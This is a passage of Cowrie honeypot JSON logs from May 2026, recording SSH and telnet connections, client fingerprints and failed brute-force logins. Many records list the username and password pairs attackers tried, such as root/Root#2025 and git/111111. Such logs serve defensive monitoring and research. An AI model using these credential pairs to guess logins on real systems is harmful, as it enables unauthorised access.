c"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:23.395373Z","src_ip":"62.193.106.227","session":"66d2264a95f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55836,"dst_ip":"10.17.0.5","dst_port":23,"session":"89650764f738","protocol":"telnet","message":"New connection: 152.42.224.71:55836 (10.17.0.5:23) [session: 89650764f738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:23.530085Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"power1","message":"login attempt [root/power1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:24.007146Z","src_ip":"62.193.106.227","session":"66d2264a95f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"113b73169f57","protocol":"telnet","message":"New connection: 152.42.224.71:55840 (10.17.0.5:23) [session: 113b73169f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:24.922950Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:25.158528Z","src_ip":"62.193.106.227","session":"66d2264a95f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161242485046,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:26.052555Z","src_ip":"152.42.224.71","session":"b956769ebb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.520246505737305,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:26.777906Z","src_ip":"152.42.224.71","session":"1685ed3cc52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.504573583602905,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:28.236069Z","src_ip":"152.42.224.71","session":"0e17339b3a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61524200439453,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:28.382957Z","src_ip":"152.42.224.71","session":"0e0b68b1ec3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.43775177001953,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:28.641149Z","src_ip":"152.42.224.71","session":"320fd5f2c8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33154,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76c1d88c6ff","protocol":"telnet","message":"New connection: 152.42.224.71:33154 (10.17.0.5:23) [session: f76c1d88c6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:28.860404Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":59052,"dst_ip":"159.203.135.109","dst_port":22,"session":"6581c10f503a","protocol":"ssh","message":"New connection: 43.159.169.93:59052 (159.203.135.109:22) [session: 6581c10f503a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:38.940516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:38.944551Z","src_ip":"43.159.169.93","session":"6581c10f503a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:39.011877Z","src_ip":"43.159.169.93","session":"6581c10f503a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111111","message":"login attempt [git/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:39.329031Z","src_ip":"43.159.169.93","session":"6581c10f503a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38922,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f138c48adf","protocol":"telnet","message":"New connection: 152.42.224.71:38922 (10.17.0.5:23) [session: 20f138c48adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:39.743669Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:40.399026Z","src_ip":"43.159.169.93","session":"6581c10f503a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38928,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a77b11a0f3","protocol":"telnet","message":"New connection: 152.42.224.71:38928 (10.17.0.5:23) [session: 70a77b11a0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:42.559399Z"}
{"eventid":"cowrie.session.closed","duration":27.819801568984985,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:43.875184Z","src_ip":"152.42.224.71","session":"143dd0bcf8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.92584562301636,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:44.176784Z","src_ip":"152.42.224.71","session":"aae948f4fd9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20347285270691,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:46.700799Z","src_ip":"152.42.224.71","session":"cb27bada1a16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":34490,"dst_ip":"159.203.135.109","dst_port":22,"session":"2205b7d91320","protocol":"ssh","message":"New connection: 154.83.13.181:34490 (159.203.135.109:22) [session: 2205b7d91320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:47.434456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:47.438875Z","src_ip":"154.83.13.181","session":"2205b7d91320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:47.647669Z","src_ip":"154.83.13.181","session":"2205b7d91320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52702,"dst_ip":"10.17.0.5","dst_port":22,"session":"710a763da0b2","protocol":"ssh","message":"New connection: 89.108.118.91:52702 (10.17.0.5:22) [session: 710a763da0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:47.869103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:47.873723Z","src_ip":"89.108.118.91","session":"710a763da0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:48.020440Z","src_ip":"89.108.118.91","session":"710a763da0b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6303","message":"login attempt [root/nokia6303] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:48.452397Z","src_ip":"89.108.118.91","session":"710a763da0b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#2025","message":"login attempt [root/Root#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:48.516989Z","src_ip":"154.83.13.181","session":"2205b7d91320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:49.598616Z","src_ip":"89.108.118.91","session":"710a763da0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:49.727302Z","src_ip":"154.83.13.181","session":"2205b7d91320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60370,"dst_ip":"10.17.0.5","dst_port":22,"session":"923d32abe842","protocol":"ssh","message":"New connection: 87.251.79.125:60370 (10.17.0.5:22) [session: 923d32abe842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:50.355778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:50.360376Z","src_ip":"87.251.79.125","session":"923d32abe842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:50.432952Z","src_ip":"87.251.79.125","session":"923d32abe842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty82","message":"login attempt [root/qwerty82] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:50.650239Z","src_ip":"87.251.79.125","session":"923d32abe842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:51.725098Z","src_ip":"87.251.79.125","session":"923d32abe842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":45022,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1b73463c3f","protocol":"ssh","message":"New connection: 43.153.54.120:45022 (10.17.0.5:22) [session: bc1b73463c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:53.437322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:53.441455Z","src_ip":"43.153.54.120","session":"bc1b73463c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:53.508197Z","src_ip":"43.153.54.120","session":"bc1b73463c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!@#$","message":"login attempt [root/K0nig!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:53.807609Z","src_ip":"43.153.54.120","session":"bc1b73463c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33232808113098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:53.862286Z","src_ip":"152.42.224.71","session":"89650764f738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:54.877717Z","src_ip":"43.153.54.120","session":"bc1b73463c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:58.132847Z","src_ip":"46.19.67.181","session":"2896ed64d0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.55449867248535,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:01.011694Z","src_ip":"152.42.224.71","session":"25e29afdbdde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":50064,"dst_ip":"159.203.135.109","dst_port":22,"session":"e50e5e86e686","protocol":"ssh","message":"New connection: 43.128.111.187:50064 (159.203.135.109:22) [session: e50e5e86e686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:01.996731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:02.001797Z","src_ip":"43.128.111.187","session":"e50e5e86e686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:02.248653Z","src_ip":"43.128.111.187","session":"e50e5e86e686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo123","message":"login attempt [root/hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:03.261200Z","src_ip":"43.128.111.187","session":"e50e5e86e686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:04.510092Z","src_ip":"43.128.111.187","session":"e50e5e86e686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.53380870819092,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:07.394130Z","src_ip":"152.42.224.71","session":"f76c1d88c6ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.25946831703186,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:08.083599Z","src_ip":"152.42.224.71","session":"9015d43719c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.03383922576904,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:09.956666Z","src_ip":"152.42.224.71","session":"113b73169f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":42160,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e1b881c3d86","protocol":"ssh","message":"New connection: 59.17.95.129:42160 (159.203.135.109:22) [session: 5e1b881c3d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:11.641873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:11.645784Z","src_ip":"59.17.95.129","session":"5e1b881c3d86","protocol":"ssh"}
